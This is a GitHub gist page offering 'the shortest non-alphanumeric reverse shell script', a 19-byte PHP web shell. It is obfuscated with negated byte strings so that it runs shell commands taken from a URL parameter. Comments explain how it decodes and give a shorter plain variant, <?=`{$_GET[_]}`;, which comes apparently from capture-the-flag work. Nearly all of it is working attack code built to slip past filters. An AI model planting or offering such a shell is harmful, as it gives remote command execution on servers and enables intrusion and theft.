Skip to content

Instantly share code, notes, and snippets.

@mr-reb00t

mr-reb00t/rev_shell.php

Forked from terjanq/rev_shell.php
Created May 8, 2020 17:59
Show Gist options
  • Save mr-reb00t/15b495c82b598ec9f63eebd1b82a2028 to your computer and use it in GitHub Desktop.
Save mr-reb00t/15b495c82b598ec9f63eebd1b82a2028 to your computer and use it in GitHub Desktop.
Download ZIP
The shortest non-alphanumeric reverse shell script (19 bytes)
Raw
rev_shell.php
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
* - ~"\xa0\xb8\xba\xab" <-> "_GET"
* - ${"_GET"}["\xa0"] <-> $_GET["\xa0"]
* - `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])
*
* This is only 3 bytes longer than the shortest PHP reverse shell!
* <?=`{$_GET[_]}`;
*
* This is a slightly improved idea that I had 2 years ago
* https://github.com/terjanq/Flag-Capture/blob/master/MeePwn%202018/omega/README.md#part2
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment